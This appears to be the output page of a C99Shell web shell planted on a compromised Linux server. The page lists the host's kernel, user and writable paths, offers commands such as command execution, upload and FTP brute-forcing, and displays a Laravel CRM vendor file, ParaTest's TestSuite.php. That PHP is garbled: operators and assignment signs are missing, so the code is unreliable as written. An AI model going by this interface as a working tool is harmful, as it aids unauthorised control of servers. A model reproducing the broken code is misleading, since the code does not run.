!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/vendor/brianium/paratest/src/JUnit/   drwxrwxrwx
Free 13.11 GB of 57.97 GB (22.61%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     TestSuite.php (2.87 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
ParaTest\JUnit;

use 
SimpleXMLElement;
use 
SplFileInfo;

use function 
assert;
use function 
count;
use function 
file_get_contents;

/**
 * @internal
 *
 * @immutable
 */
final class TestSuite
{
    
/**
     * @param array<string, TestSuite> $suites
     * @param list<TestCase>           $cases
     */
    
public function __construct(
        public 
readonly string $name,
        public 
readonly int $tests,
        public 
readonly int $assertions,
        public 
readonly int $failures,
        public 
readonly int $errors,
        public 
readonly int $skipped,
        public 
readonly float $time,
        public 
readonly string $file,
        public 
readonly array $suites,
        public 
readonly array $cases
    
) {
    }

    public static function 
fromFile(SplFileInfo $logFile): self
    
{
        
assert($logFile->isFile() && < (int) $logFile->getSize());

        
$logFileContents file_get_contents($logFile->getPathname());
        
assert($logFileContents !== false);

        return 
self::parseTestSuite(
            new 
SimpleXMLElement($logFileContents),
            
true,
        );
    }

    private static function 
parseTestSuite(SimpleXMLElement $nodebool $isRootSuite): self
    
{
        if (
$isRootSuite) {
            
$tests      0;
            
$assertions 0;
            
$failures   0;
            
$errors     0;
            
$skipped    0;
            
$time       0;
        } else {
            
$tests      = (int) $node['tests'];
            
$assertions = (int) $node['assertions'];
            
$failures   = (int) $node['failures'];
            
$errors     = (int) $node['errors'];
            
$skipped    = (int) $node['skipped'];
            
$time       = (float) $node['time'];
        }

        
$count  count($node->testsuite);
        
$suites = [];
        foreach (
$node->testsuite as $singleTestSuiteXml) {
            
$testSuite self::parseTestSuite($singleTestSuiteXmlfalse);
            if (
$isRootSuite && $count === 1) {
                return 
$testSuite;
            }

            
$suites[$testSuite->name] = $testSuite;

            if (! 
$isRootSuite) {
                continue;
            }

            
$tests      += $testSuite->tests;
            
$assertions += $testSuite->assertions;
            
$failures   += $testSuite->failures;
            
$errors     += $testSuite->errors;
            
$skipped    += $testSuite->skipped;
            
$time       += $testSuite->time;
        }

        
$cases = [];
        foreach (
$node->testcase as $singleTestCase) {
            
$cases[] = TestCase::caseFromNode($singleTestCase);
        }

        return new 
self(
            (string) 
$node['name'],
            
$tests,
            
$assertions,
            
$failures,
            
$errors,
            
$skipped,
            
$time,
            (string) 
$node['file'],
            
$suites,
            
$cases,
        );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0058 ]--